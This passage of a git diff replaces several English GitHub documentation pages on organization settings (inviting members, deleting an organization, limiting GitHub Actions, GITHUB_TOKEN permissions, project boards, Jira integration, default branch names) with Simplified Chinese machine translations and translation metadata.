organizations](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +{% ifversion fpt %}使用 {% data variables.product.prodname_ghe_cloud %}{% else %}您{% endif %} 的组织可以实施 SCIM,以添加、管理和删除组织成员通过身份提供商 (IdP) 对 {% data variables.product.prodname_dotcom_the_website %} 的访问权限。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[关于组织的 SCIM](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations){% ifversion fpt %}”。{% else %}."{% endif %} -## Inviting a user to join your organization +## 邀请用户加入您的组织 -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.organizations.invite_member_from_people_tab %} -{% data reusables.organizations.invite_to_org %} -{% data reusables.organizations.choose-to-restore-privileges %} -{% data reusables.organizations.choose-user-role %} -{% data reusables.organizations.add-user-to-teams %} -{% data reusables.organizations.send-invitation %} -{% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %} +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} {% data reusables.organizations.invite_member_from_people_tab %} {% data reusables.organizations.invite_to_org %} {% data reusables.organizations.choose-to-restore-privileges %} {% data reusables.organizations.choose-user-role %} {% data reusables.organizations.add-user-to-teams %} {% data reusables.organizations.send-invitation %} {% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %} -## Further reading -- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)" +## 延伸阅读 +- “[将组织成员添加到团队](/articles/adding-organization-members-to-a-team)” diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/deleting-an-organization-account.md b/translations/zh-CN/content/organizations/managing-organization-settings/deleting-an-organization-account.md index 88ff35d2d9..22a04ad897 100644 --- a/translations/zh-CN/content/organizations/managing-organization-settings/deleting-an-organization-account.md +++ b/translations/zh-CN/content/organizations/managing-organization-settings/deleting-an-organization-account.md @@ -1,6 +1,6 @@ --- -title: Deleting an organization account -intro: 'When you delete an organization, all repositories, forks of private repositories, wikis, issues, pull requests, and Project or Organization Pages are deleted as well. {% ifversion fpt or ghec %}Your billing will end, and after 90 days the organization name becomes available for use on a new user or organization account.{% endif %}' +title: 删除组织帐户 +intro: '删除组织时,所有仓库、私有仓库复刻、wiki、议题、拉取请求和项目或组织页面也被删除。 {% ifversion fpt or ghec %}您的结算将结束,90 天后,组织名称将可用于新的用户或组织帐户。{% endif %}' redirect_from: - /articles/deleting-an-organization-account - /github/setting-up-and-managing-organizations-and-teams/deleting-an-organization-account @@ -13,32 +13,33 @@ topics: - Organizations - Teams shortTitle: Delete organization +ms.openlocfilehash: e923dcf7fb9135243c5bfe0e68a310719e87ef2e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147886764' --- +{% ifversion fpt or ghec %} {% tip %} -{% ifversion fpt or ghec %} -{% tip %} - -**Tip**: If you want to cancel your paid subscription, you can [downgrade your organization to {% data variables.product.prodname_free_team %}](/articles/downgrading-your-github-subscription) instead of deleting the organization and its content. +提示:如果要取消已付费的订阅,可以[将组织降级到 {% data variables.product.prodname_free_team %}](/articles/downgrading-your-github-subscription),而不是删除组织及其内容。 {% endtip %} {% endif %} -## 1. Back up your organization content +## 1. 备份组织内容 -{% ifversion not ghes %} After you delete an organization, {% data variables.product.company_short %} **cannot restore your content**. Therefore, before{% else %}Before{% endif %} you delete your organization, make sure you have a copy of all repositories, wikis, issues, and project boards from the account. +{% ifversion not ghes %} 删除组织后,{% data variables.product.company_short %} 无法恢复内容。 因此,在删除组织{% else %}之前{% endif %},请确保您拥有该帐户中所有仓库、wiki、议题和项目板的副本。 -{% ifversion ghes %} -{% note %} +{% ifversion ghes %} {% note %} -**Note:** If necessary, a site administrator for {% data variables.location.product_location %} may be able to partially restore a deleted organization. For more information, see "[Restoring a deleted organization](/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization)." +注意:如有必要,{% data variables.product.product_location %} 的站点管理员或能部分恢复已删除的组织。 有关详细信息,请参阅“[恢复已删除的组织](/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization)”。 -{% endnote %} -{% endif %} +{% endnote %} {% endif %} -## 2. Delete the organization +## 2. 删除组织 -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -4. Near the bottom of the organization's settings page, click **Delete this Organization**. - ![Delete this organization button](/assets/images/help/settings/settings-organization-delete.png) +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +4. 在组织设置页面底部附近,单击“删除此组织”。 + ![“删除此组织”按钮](/assets/images/help/settings/settings-organization-delete.png) diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md b/translations/zh-CN/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md index fa245c2915..3ac4a8a11f 100644 --- a/translations/zh-CN/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md +++ b/translations/zh-CN/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Disabling or limiting GitHub Actions for your organization -intro: 'Organization owners can disable, enable, and limit GitHub Actions for an organization.' +title: 禁用或限制组织的 GitHub Actions +intro: 组织所有者可禁用、启用和限制组织的 GitHub Actions。 redirect_from: - /github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization versions: @@ -13,178 +13,103 @@ topics: - Teams shortTitle: Disable or limit actions miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: b72b1e412906b1a2ec7520a9c939d5adefee7dd7 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147064680' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 关于组织的 {% data variables.product.prodname_actions %} 权限 -## About {% data variables.product.prodname_actions %} permissions for your organization +{% data reusables.actions.disabling-github-actions %} 有关 {% data variables.product.prodname_actions %} 的详细信息,请参阅“[关于 {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)”。 -{% data reusables.actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)." +您可以对组织中的所有仓库启用 {% data variables.product.prodname_actions %}。 {% data reusables.actions.enabled-actions-description %} 你可以对组织中的所有存储库禁用 {% data variables.product.prodname_actions %}。 {% data reusables.actions.disabled-actions-description %} -You can enable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.actions.disabled-actions-description %} +或者,可以对组织中的所有存储库启用 {% data variables.product.prodname_actions %},但限制工作流可以运行的操作{% ifversion actions-workflow-policy %}和可重用工作流{% endif %}。 -Alternatively, you can enable {% data variables.product.prodname_actions %} for all repositories in your organization but limit the actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} a workflow can run. +## 管理组织的 {% data variables.product.prodname_actions %} 权限 -## Managing {% data variables.product.prodname_actions %} permissions for your organization - -You can choose to disable {% data variables.product.prodname_actions %} for all repositories in your organization, or only allow specific repositories. You can also limit the use of public actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, so that people can only use local actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that exist in your {% ifversion ghec or ghes or ghae %}enterprise{% else %}organization{% endif %}. +可以选择对组织中的所有存储库禁用 {% data variables.product.prodname_actions %},或仅允许特定存储库。 还可以限制公共操作{% ifversion actions-workflow-policy %} 和可重用工作流{% endif %}的使用,让用户只能使用{% ifversion ghec or ghes or ghae %}企业{% else %}组织{% endif %}中现有的本地操作{% ifversion actions-workflow-policy %}和可重用工作流{% endif %}。 {% note %} -**Note:** You might not be able to manage these settings if your organization is managed by an enterprise that has overriding policy. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." +注意:如果组织由具有替代策略的企业管理,则可能无法管理这些设置。 有关详细信息,请参阅“[在企业中强制实施 {% data variables.product.prodname_actions %} 的策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)”。 {% endnote %} -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -1. Under "Policies", select an option. +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions-general %} +1. 在“Policies(策略)”下,选择一个选项。 {% indented_data_reference reusables.actions.actions-use-policy-settings spaces=3 %} - {% ifversion actions-workflow-policy %} - ![Set actions policy for this organization](/assets/images/help/organizations/actions-policy-with-workflows.png) - {%- else %} - ![Set actions policy for this organization](/assets/images/help/organizations/actions-policy.png) - {%- endif %} -1. Click **Save**. + {% ifversion actions-workflow-policy %} ![为此组织设置操作策略](/assets/images/help/organizations/actions-policy-with-workflows.png) {%- else %} ![为此组织设置操作策略](/assets/images/help/organizations/actions-policy.png) {%- endif %} +1. 单击“ **保存**”。 {% data reusables.actions.allow-specific-actions-intro %} -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -1. Under "Policies", select {% data reusables.actions.policy-label-for-select-actions-workflows %} and add your required actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} to the list. +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions-general %} +1. 在“策略”下,选择 {% data reusables.actions.policy-label-for-select-actions-workflows %} 并向列表添加所需操作 {% ifversion actions-workflow-policy %} 和可重用工作流 {% endif %}。 - {% ifversion actions-workflow-policy %} - ![Add actions and reusable workflows to the allow list](/assets/images/help/organizations/actions-policy-allow-list-with-workflows.png) - {%- elsif ghes %} - ![Add actions to the allow list](/assets/images/help/organizations/actions-policy-allow-list.png) - {%- else %} - ![Add actions to the allow list](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png) - {%- endif %} -1. Click **Save**. + {% ifversion actions-workflow-policy %} ![将操作和可重用工作流添加到允许列表](/assets/images/help/organizations/actions-policy-allow-list-with-workflows.png) {%- elsif ghes %} ![将操作添加到允许列表](/assets/images/help/organizations/actions-policy-allow-list.png) {%- else %} ![将操作添加到允许列表](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png) {%- endif %} +1. 单击“ **保存**”。 {% ifversion fpt or ghec %} -## Configuring required approval for workflows from public forks +## 配置公共复刻工作流程所需的批准 {% data reusables.actions.workflow-run-approve-public-fork %} -You can configure this behavior for an organization using the procedure below. Modifying this setting overrides the configuration set at the enterprise level. +您可以使用以下程序为组织配置此行为。 修改此设置会覆盖企业级别的配置集。 -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -{% data reusables.actions.workflows-from-public-fork-setting %} +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions-general %} {% data reusables.actions.workflows-from-public-fork-setting %} -{% data reusables.actions.workflow-run-approve-link %} -{% endif %} +{% data reusables.actions.workflow-run-approve-link %} {% endif %} {% ifversion fpt or ghes or ghec %} -## Enabling workflows for private repository forks +## 为私有仓库复刻启用工作流程 {% data reusables.actions.private-repository-forks-overview %} -{% ifversion ghec or ghae or ghes %}If a policy is disabled for an enterprise, it cannot be enabled for organizations.{% endif %} If a policy is disabled for an organization, it cannot be enabled for repositories. If an organization enables a policy, the policy can be disabled for individual repositories. +{% ifversion ghec or ghae or ghes %}如果对企业禁用了某个策略,则无法对组织启用该策略。{% endif %} 如果对组织禁用了某个策略,则无法对仓库启用该策略。 如果组织启用了某个策略,则可以对个别仓库禁用该策略。 {% data reusables.actions.private-repository-forks-options %} -### Configuring the private fork policy for an organization +### 为组织配置私有复刻策略 -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -{% data reusables.actions.private-repository-forks-configure %} -{% endif %} +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions-general %} {% data reusables.actions.private-repository-forks-configure %} {% endif %} -## Setting the permissions of the `GITHUB_TOKEN` for your organization +## 为组织设置 `GITHUB_TOKEN` 的权限 {% data reusables.actions.workflow-permissions-intro %} -You can set the default permissions for the `GITHUB_TOKEN` in the settings for your organization or your repositories. If you select a restrictive option as the default in your organization settings, the same option is selected in the settings for repositories within your organization, and the permissive option is disabled. If your organization belongs to a {% data variables.product.prodname_enterprise %} account and a more restrictive default has been selected in the enterprise settings, you won't be able to select the more permissive default in your organization settings. +可以在组织或存储库的设置中为 `GITHUB_TOKEN` 设置默认权限。 如果你在组织设置中选择受限制的选项为默认值,那么在组织内的存储库设置中也会选择相同选项,并禁用允许选项。 如果你的组织属于 {% data variables.product.prodname_enterprise %} 帐户,并且在企业设置中选择了更受限制的默认值,则你将无法在组织设置中选择更宽松的默认值。 {% data reusables.actions.workflow-permissions-modifying %} -### Configuring the default `GITHUB_TOKEN` permissions +### 配置默认 `GITHUB_TOKEN` 权限 -{% ifversion allow-actions-to-approve-pr-with-ent-repo %} -By default, when you create a new organization, `GITHUB_TOKEN` only has read access for the `contents` scope. +{% ifversion allow-actions-to-approve-pr-with-ent-repo %} 默认情况下,当你创建新组织时,`GITHUB_TOKEN` 仅对 `contents` 范围具有读取权限。 {% endif %} -{% data reusables.profile.access_profile %} -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -1. Under "Workflow permissions", choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. +{% data reusables.profile.access_profile %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions-general %} +1. 在“工作流权限”下,选择是要让 `GITHUB_TOKEN` 对所有范围具有读写访问权限,还是仅对 `contents` 范围具有读取访问。 - {% ifversion allow-actions-to-approve-pr %} - {% ifversion allow-actions-to-approve-pr-with-ent-repo %} - ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-creation-approval.png) - {% else %} - ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-approval.png) - {% endif %} - {% else %} - ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-approval.png) - {% endif %} -1. Click **Save** to apply the settings. + ![为此组织设置 GITHUB_TOKENN 权限](/assets/images/help/settings/actions-workflow-permissions-organization{% ifversion allow-actions-to-approve-pr %}-with-pr-{% ifversion allow-actions-to-approve-pr-with-ent-repo %}creation-{% endif %}approval{% endif %}.png) +1. 单击“保存”以应用设置。 {% ifversion allow-actions-to-approve-pr %} -### Preventing {% data variables.product.prodname_actions %} from {% ifversion allow-actions-to-approve-pr-with-ent-repo %}creating or {% endif %}approving pull requests +### 防止 {% data variables.product.prodname_actions %} {% ifversion allow-actions-to-approve-pr-with-ent-repo %}创建或{% endif %}审批拉取请求 {% data reusables.actions.workflow-pr-approval-permissions-intro %} -By default, when you create a new organization, workflows are not allowed to {% ifversion allow-actions-to-approve-pr-with-ent-repo %}create or {% endif %}approve pull requests. +默认情况下,创建新组织时,不允许工作流{% ifversion allow-actions-to-approve-pr-with-ent-repo %}创建或{% endif %}审批拉取请求。 -{% data reusables.profile.access_profile %} -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -1. Under "Workflow permissions", use the **Allow GitHub Actions to {% ifversion allow-actions-to-approve-pr-with-ent-repo %}create and {% endif %}approve pull requests** setting to configure whether `GITHUB_TOKEN` can {% ifversion allow-actions-to-approve-pr-with-ent-repo %}create and {% endif %}approve pull requests. +{% data reusables.profile.access_profile %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions-general %} +1. 在“工作流权限”下,使用“允许 GitHub Actions {% ifversion allow-actions-to-approve-pr-with-ent-repo %}创建和{% endif %}审批拉取请求”设置,以配置 `GITHUB_TOKEN` 是否可以{% ifversion allow-actions-to-approve-pr-with-ent-repo %}创建和{% endif %}审批拉取请求。 - {% ifversion allow-actions-to-approve-pr %} - {% ifversion allow-actions-to-approve-pr-with-ent-repo %} - ![Set GITHUB_TOKEN pull request approval permission for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-creation-approval.png) - {% else %} - ![Set GITHUB_TOKEN pull request approval permission for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-approval.png) - {% endif %} - {% else %} - ![Set GITHUB_TOKEN pull request approval permission for this organization](/assets/images/help/settings/actions-workflow-permissions-organization.png) - {% endif %} -1. Click **Save** to apply the settings. - -{% endif %} - -{% ifversion actions-cache-org-ui %} - -## Managing {% data variables.product.prodname_actions %} cache storage for your organization - -Organization administrators can view {% ifversion actions-cache-admin-ui %}and manage {% endif %}{% data variables.product.prodname_actions %} cache storage for all repositories in the organization. - -### Viewing {% data variables.product.prodname_actions %} cache storage by repository - -For each repository in your organization, you can see how much cache storage a repository is using, the number of active caches, and if a repository is near the total cache size limit. For more information about the cache usage and eviction process, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows#usage-limits-and-eviction-policy)." - -{% data reusables.profile.access_profile %} -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, click {% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %} **Actions**, then click **Caches**. -1. Review the list of repositories for information about their {% data variables.product.prodname_actions %} caches. You can click on a repository name to see more detail about the repository's caches. - -{% ifversion actions-cache-admin-ui %} - -### Configuring {% data variables.product.prodname_actions %} cache storage for your organization - -{% data reusables.actions.cache-default-size %} - -You can configure the size limit for {% data variables.product.prodname_actions %} caches that will apply to each repository in your organization. The cache size limit for an organization cannot exceed the cache size limit set in the enterprise policy. Repository admins will be able to set a smaller limit in their repositories. - -{% data reusables.profile.access_profile %} -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -{% data reusables.actions.change-cache-size-limit %} - -{% endif %} + ![为此组织设置 GITHUB_TOKEN 拉取请求审批权限](/assets/images/help/settings/actions-workflow-permissions-organization{% ifversion allow-actions-to-approve-pr %}-with-pr-{% ifversion allow-actions-to-approve-pr-with-ent-repo %}creation-{% endif %}approval{% endif %}.png) +1. 单击“保存”以应用设置。 {% endif %} diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md b/translations/zh-CN/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md index 86b75c4cd6..0247655e87 100644 --- a/translations/zh-CN/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md +++ b/translations/zh-CN/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md @@ -1,6 +1,6 @@ --- -title: 'Disabling {% ifversion projects-v2 %}projects{% else %}project boards{% endif %} in your organization' -intro: 'Organization owners can turn off {% ifversion projects-v2 %}organization-wide {% data variables.projects.projects_v2 %}, organization-wide {% data variables.projects.projects_v1_boards %}, and repository-level {% data variables.projects.projects_v1_boards %}{% else %}organization-wide project boards and repository project boards{% endif %} in an organization.' +title: '在组织中禁用{% ifversion projects-v2 %}项目{% else %}项目板{% endif %}' +intro: '组织所有者可以在组织中关闭{% ifversion projects-v2 %}组织范围的{% data variables.projects.projects_v2 %}、组织范围的{% data variables.projects.projects_v1_boards %}和存储库级别的{% data variables.projects.projects_v1_boards %}{% else %}组织范围的项目板和存储库项目板{% endif %}。' redirect_from: - /github/managing-your-work-on-github/managing-project-boards/disabling-project-boards-in-your-organization - /articles/disabling-project-boards-in-your-organization @@ -14,32 +14,36 @@ topics: - Pull requests shortTitle: Disable projects allowTitleToDifferFromFilename: true +ms.openlocfilehash: e1e2aed1e7c689bee83dabc4a6750f8976206f4a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147423322' --- -After you disable organization-wide project boards, it won’t be possible to create new project boards at the organization level, and any existing organization-level project boards will become inaccessible at their previous URLs. Project boards in repositories in the organization are not affected. {% ifversion projects-v2 %}These settings apply to {% data variables.projects.projects_v2 %} and {% data variables.projects.projects_v1_boards %}.{% endif %} +禁用组织范围的项目板后,将无法在组织级别创建新的项目板,并且将无法通过其先前的 URL 访问任何现有组织级别项目板。 组织仓库中的项目板不受影响。 {% ifversion projects-v2 %}这些设置适用于 {% data variables.projects.projects_v2 %} 和 {% data variables.projects.projects_v1_boards %}。{% endif %} -After you disable repository project boards in an organization, it won't be possible to create new project boards in any repositories in the organization, and any existing project boards in repositories in the organization will become inaccessible at their previous URLs. Project boards at the organization level are not affected. +在组织中禁用仓库项目板后,将无法在任何组织仓库中创建新项目板,并且将无法通过其先前的 URL 访问组织仓库中的任何现有项目板。 组织级别的项目板不受影响。 -When you disable project boards, you will no longer see project board information in timelines or [audit logs](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization). +禁用项目板后,在时间表或[审核日志](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)中将不再看到项目板信息。 -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Code planning, and automation" section of the sidebar, click **{% octicon "table" aria-label="The table icon" %} Projects**. +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的“代码规划和自动化”部分,单击“{% octicon "table" aria-label="The table icon" %} 项目”。 {% endif %} -1. Decide whether to disable organization-wide project boards, disable repository project boards in the organization, or both. Then, under "Projects": - - To disable organization-wide project boards, unselect **Enable projects for the organization**. - - To disable repository project boards in the organization, unselect **Enable projects for all repositories**. - ![Checkboxes to disable projects for an organization or for all of an organization's repositories](/assets/images/help/projects/disable-org-projects-checkbox.png) -1. Click **Save**. +1. 决定是否禁用组织范围的项目板,禁用组织中的仓库项目板,或两者均禁用。 然后,在“项目”(项目)下: + - 若要禁用组织范围的项目板,请取消选择“启用组织的项目”。 + - 若要在组织中禁用存储库项目板,请取消选择“启用所有存储库的项目”。 + ![用于禁用单个组织或单个组织所有存储库的项目的复选框](/assets/images/help/projects/disable-org-projects-checkbox.png) +1. 单击“ **保存**”。 {% data reusables.organizations.disable_project_board_results %} -## Further reading +## 延伸阅读 -{% ifversion projects-v2 %}- "[About {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects)"{% endif %} -- "[About {% data variables.product.prodname_projects_v1 %}](/articles/about-project-boards)" -- "[Closing a {% data variables.projects.projects_v1_board %}](/articles/closing-a-project-board)" -- "[Deleting a {% data variables.projects.projects_v1_board %}](/articles/deleting-a-project-board)" -- "[Disabling {% data variables.projects.projects_v1_boards %} in a repository](/articles/disabling-project-boards-in-a-repository)" +{% ifversion projects-v2 %}- [关于 {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects){% endif %} +- [关于 {% data variables.product.prodname_projects_v1 %}](/articles/about-project-boards) +- [关闭 {% data variables.projects.projects_v1_board %}](/articles/closing-a-project-board) +- [删除 {% data variables.projects.projects_v1_board %}](/articles/deleting-a-project-board) +- [禁用 {% data variables.projects.projects_v1_boards %} in a repository](/articles/disabling-project-boards-in-a-repository) diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md b/translations/zh-CN/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md index 98f6bf0f5b..10ec2765f0 100644 --- a/translations/zh-CN/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md +++ b/translations/zh-CN/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md @@ -1,6 +1,6 @@ --- -title: Integrating Jira with your organization project board -intro: 'You can integrate Jira Cloud with your organization account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues.' +title: 集成 Jira 与组织项目板 +intro: 您可以将 Jira Cloud 与组织帐户集成,以扫描提交和拉取请求,在任何提及的 Jira 议题中创建相关的元数据和超链接。 redirect_from: - /articles/integrating-jira-with-your-organization-project-board - /github/setting-up-and-managing-organizations-and-teams/integrating-jira-with-your-organization-project-board @@ -8,31 +8,33 @@ versions: ghes: '*' ghae: '*' shortTitle: Integrate Jira +ms.openlocfilehash: 0b773dc865373ab006f7c596b50ac81af5d6636a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145109460' --- -{% ifversion ghes > 3.4 or ghae > 3.4 %} -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, select **{% octicon "code" aria-label="The code icon" %} Developer settings**, then click **OAuth Apps**. - ![OAuth applications tab in the left sidebar](/assets/images/help/organizations/org-oauth-applications-ghe.png) -1. Click **New OAuth App**. -{% else %} -{% data reusables.user-settings.access_settings %} -1. In the left sidebar under **Organization settings**, click the name of your organization. -![Sidebar organization name](/assets/images/help/settings/organization-settings-from-sidebar.png) -1. In the left sidebar under **Developer settings**, click **OAuth applications**. - ![OAuth applications tab in the left sidebar](/assets/images/help/organizations/org-oauth-applications-ghe.png) -1. Click **Register a new application**. +{% ifversion ghes > 3.4 or ghae-issue-5658 %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. 在左侧边栏中,选择“{% octicon "code" aria-label="The code icon" %} 开发人员设置”,然后单击“OAuth 应用” 。 + ![左侧边栏中的 OAuth 应用程序选项卡](/assets/images/help/organizations/org-oauth-applications-ghe.png) +1. 单击“新建 OAuth 应用”。 +{% else %} {% data reusables.user-settings.access_settings %} +1. 在左侧边栏的“组织设置”下,单击组织的名称。 +![侧边栏组织名称](/assets/images/help/settings/organization-settings-from-sidebar.png) +1. 在左侧边栏中的“开发人员设置”下,单击“OAuth 应用程序” 。 + ![左侧边栏中的 OAuth 应用程序选项卡](/assets/images/help/organizations/org-oauth-applications-ghe.png) +1. 单击“注册新应用程序”。 {% endif %} -1. Under **Application name**, type "Jira". -2. Under **Homepage URL**, type the full URL to your Jira instance. -3. Under **Authorization callback URL**, type the full URL to your Jira instance. -4. Click **Register application**. -![Register application button](/assets/images/help/oauth/register-application-button.png) -9. Under **Organization owned applications**, note the "Client ID" and "Client Secret" values. -![Client ID and Client Secret](/assets/images/help/oauth/client-id-and-secret.png) -{% data reusables.user-settings.jira_help_docs %} +1. 在“应用程序名称”下,键入“Jira”。 +2. 在“主页 URL”下,键入 Jira 实例的完整 URL。 +3. 在“授权回叫 URL”下,键入 Jira 实例的完整 URL。 +4. 单击“注册应用程序”。 +![“注册应用程序”按钮](/assets/images/help/oauth/register-application-button.png) +9. 在“组织拥有的应用程序”下,记下“客户端 ID”和“客户端密码”值。 +![客户端 ID 和客户端密码](/assets/images/help/oauth/client-id-and-secret.png) {% data reusables.user-settings.jira_help_docs %} -## Further reading +## 延伸阅读 -- ["Integrating Jira with your personal projects"](/articles/integrating-jira-with-your-personal-projects) -- Connect Jira Cloud to GitHub (Atlassian documentation) +- [将 Jira 与个人项目集成](/articles/integrating-jira-with-your-personal-projects) +- 将 Jira Cloud 连接到 GitHub(Atlassian 文档) diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md b/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md index b181ccd22b..72a939d693 100644 --- a/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md +++ b/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md @@ -1,6 +1,6 @@ --- -title: Managing the default branch name for repositories in your organization -intro: 'You can set the default branch name for repositories that members create in your organization on {% data variables.location.product_location %}.' +title: 管理组织中仓库的默认分支名称 +intro: '可以为成员在 {% data variables.product.product_location %} 上的组织中创建的存储库设置默认分支名称。' redirect_from: - /github/setting-up-and-managing-organizations-and-teams/managing-the-default-branch-name-for-repositories-in-your-organization permissions: Organization owners can manage the default branch name for new repositories in the organization. @@ -13,28 +13,31 @@ topics: - Organizations - Teams shortTitle: Manage default branch name +ms.openlocfilehash: 38bd35506728f4437c9a1644235fe748c6a8a58a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145099719' --- +## About the default branch name -## About management of the default branch name - -When a member of your organization creates a new repository in your organization, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.product_name %} uses for the default branch in new repositories that members of your organization create. For more information about the default branch, see "[About 